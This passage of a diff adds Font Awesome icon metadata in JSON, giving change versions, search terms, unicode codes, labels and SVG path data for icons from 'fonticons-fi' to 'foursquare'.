4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z" + } + }, + "free": [ + "brands" + ] + }, + "fonticons-fi": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3a2", + "label": "Fonticons Fi", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860988, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z" + } + }, + "free": [ + "brands" + ] + }, + "football-ball": { + "changes": [ + "5.0.5", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "ball", + "fall", + "nfl", + "pigskin", + "seasonal" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f44e", + "label": "Football Ball", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635496, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M481.5 60.3c-4.8-18.2-19.1-32.5-37.3-37.4C420.3 16.5 383 8.9 339.4 8L496 164.8c-.8-43.5-8.2-80.6-14.5-104.5zm-467 391.4c4.8 18.2 19.1 32.5 37.3 37.4 23.9 6.4 61.2 14 104.8 14.9L0 347.2c.8 43.5 8.2 80.6 14.5 104.5zM4.2 283.4L220.4 500c132.5-19.4 248.8-118.7 271.5-271.4L275.6 12C143.1 31.4 26.8 130.7 4.2 283.4zm317.3-123.6c3.1-3.1 8.2-3.1 11.3 0l11.3 11.3c3.1 3.1 3.1 8.2 0 11.3l-28.3 28.3 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-22.6 22.7 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L248 278.6l-22.6 22.6 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-28.3 28.3c-3.1 3.1-8.2 3.1-11.3 0l-11.3-11.3c-3.1-3.1-3.1-8.2 0-11.3l28.3-28.3-28.3-28.2c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 28.3-28.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M481.5 60.3c-4.8-18.2-19.1-32.5-37.3-37.4C420.3 16.5 383 8.9 339.4 8L496 164.8c-.8-43.5-8.2-80.6-14.5-104.5zm-467 391.4c4.8 18.2 19.1 32.5 37.3 37.4 23.9 6.4 61.2 14 104.8 14.9L0 347.2c.8 43.5 8.2 80.6 14.5 104.5zM4.2 283.4L220.4 500c132.5-19.4 248.8-118.7 271.5-271.4L275.6 12C143.1 31.4 26.8 130.7 4.2 283.4zm317.3-123.6c3.1-3.1 8.2-3.1 11.3 0l11.3 11.3c3.1 3.1 3.1 8.2 0 11.3l-28.3 28.3 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-22.6 22.7 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L248 278.6l-22.6 22.6 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-28.3 28.3c-3.1 3.1-8.2 3.1-11.3 0l-11.3-11.3c-3.1-3.1-3.1-8.2 0-11.3l28.3-28.3-28.3-28.2c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 28.3-28.5z" + } + }, + "free": [ + "solid" + ] + }, + "fort-awesome": { + "changes": [ + "4.5", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [ + "castle" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f286", + "label": "Fort Awesome", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860989, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z" + } + }, + "free": [ + "brands" + ] + }, + "fort-awesome-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "castle" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f3a3", + "label": "Alternate Fort Awesome", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722329, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z" + } + }, + "free": [ + "brands" + ] + }, + "forumbee": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f211", + "label": "Forumbee", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860989, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z" + } + }, + "free": [ + "brands" + ] + }, + "forward": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "next", + "skip" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f04e", + "label": "forward", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635497, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500.5 231.4l-192-160C287.9 54.3 256 68.6 256 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2zm-256 0l-192-160C31.9 54.3 0 68.6 0 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M500.5 231.4l-192-160C287.9 54.3 256 68.6 256 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2zm-256 0l-192-160C31.9 54.3 0 68.6 0 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2z" + } + }, + "free": [ + "solid" + ] + }, + "foursquare": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f180", + "label": "Foursquare", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860989, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 368 512\"><path d=\"M323.1 3H49.9C12.4 3 0 31.3 0 